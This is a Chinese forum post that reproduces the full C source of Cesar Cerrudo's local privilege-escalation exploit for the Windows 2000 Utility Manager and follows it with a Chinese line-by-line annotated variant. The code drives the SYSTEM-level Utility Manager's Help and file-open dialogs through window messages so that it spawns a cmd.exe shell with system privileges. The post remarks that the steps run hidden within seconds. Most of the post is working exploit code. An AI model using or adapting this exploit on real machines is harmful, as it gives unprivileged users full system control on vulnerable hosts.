这个是源代码： //by Cesar Cerrudo sqlsec at yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.
#include "stdio.h"
#include "windows.h"
int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
POINT point;
char sText[]="%windir%\\system32\\cmd.ex?";
// run utility manager
// system("utilman.exe /start");
// Sleep(500);
lHandle=FindWindow(NULL, "Utility manager");
if (!lHandle) {
printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then run UtilManExploit2.exe\n");
return 0;
}
PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button in the taskbar or Alt+Space Bar
Sleep(100);
SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP 0x0365 lParam must be <>NULL
Sleep(300);
SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN,
VK_RETURN, 0);
Sleep(500);
// find open file dialog window
lHandle = FindWindow("#32770","Open");
// get input box handle
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);
// set text to filter listview to display only cmd.exe
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
Sleep(800);
// send return
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
//get navigation bar handle
lHandle2 = GetDlgItem(lHandle, 0x4A0);
//send tab
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//get list view handle
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
Sleep(500);
//popup context menu
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);
// get context menu handle
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
Sleep(500);
SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// close open error window
SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// close utility manager
return 0;
}
本人根据以上代码编译了一个小工具， 由于不是十分完善， 暂时不发布，只将UtilMan.exe的简单分析做了个说明：UtilMan.exe的新漏洞简单分析该漏洞在2k+sp4下测试成功.大概意思是:// By Cesar Cerrudo cesar appsecinc com// Local elevation of priviliges exploit for Windows Utility Manager得到一个系统权限的shellchar sText[]="%windir%\\system32\\cmd.ex?"; //不是.exe// 运行工具管理器//WinExec ("utilman.exe /start",SW_SHOW);//Sleep(500);// 打开帮助,这时执行了winhlp32.exe,4d号消息是未公开的相当于按下F1吧SendMessage(FindWindow(NULL, "工具管理器"), 0x4D, 0, 0);Sleep(500);// 打开文件打开对话框,winhlp32.exe中44d为菜单栏打开选项的IDPostMessage(FindWindow(NULL, "Windows 帮助"), WM_COMMAND, 0x44D, 0);//一定要是postmessageSleep(500);// 得到文件打开对话框句柄lHandle = FindWindow("#32770","打开");// 得到文件打开对话框中输入文件名编辑框的句柄,这个编辑框的ID为47clHandle2 = GetDlgItem(lHandle, 0x47C);Sleep(500);//设置文件名编辑框的值为cmd.ex?SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);Sleep(800);//输入回车,这样打开对话框的文件列表中就会显示.ex?文件,否则显示的//是.hlp文件,因为默认只能打开后缀是.hlp的文件.SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);//得到打开对话框左边的工具栏(就是历史,桌面,我的文档大图标)的句柄//ToolbarWindow32这个控件类名为lHandle2 = GetDlgItem(lHandle, 0x4A0);//发送tab消息,这样焦点就在右边的文件列表控件中了.SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);Sleep(500);//得到打开对话框的子控件文件列表控件的句柄lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);//得到列表控件的子控件syslistview32的句柄,控件id为1lHandle2 = GetDlgItem(lHandle2, 0x1);SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" charSendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" charSendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char//发送cmd这样是为了把焦点准确的落在cmd.exe上//奇怪的是手工一个一个的输入cmd则不行哟Sleep(800);// 打开右键菜单PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);Sleep(1000);//通过当前的光标位置来得到右键菜单句柄point.x =10; point.y =30;lHandle2=WindowFromPoint(point);SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // 在右键菜单中下移一个选项SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // 在右键菜单中下移一个选项这时落在打开上SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // 发送回车SendMessage (lHandle, WM_CLOSE,0,0); //关闭文件打开对话框return(0);}在单机运行此程序,以上的操作是隐藏性的,过程只有几秒钟时间至于它的利用条件~在进一步的参考中........ www.hackbase.com 小珂
|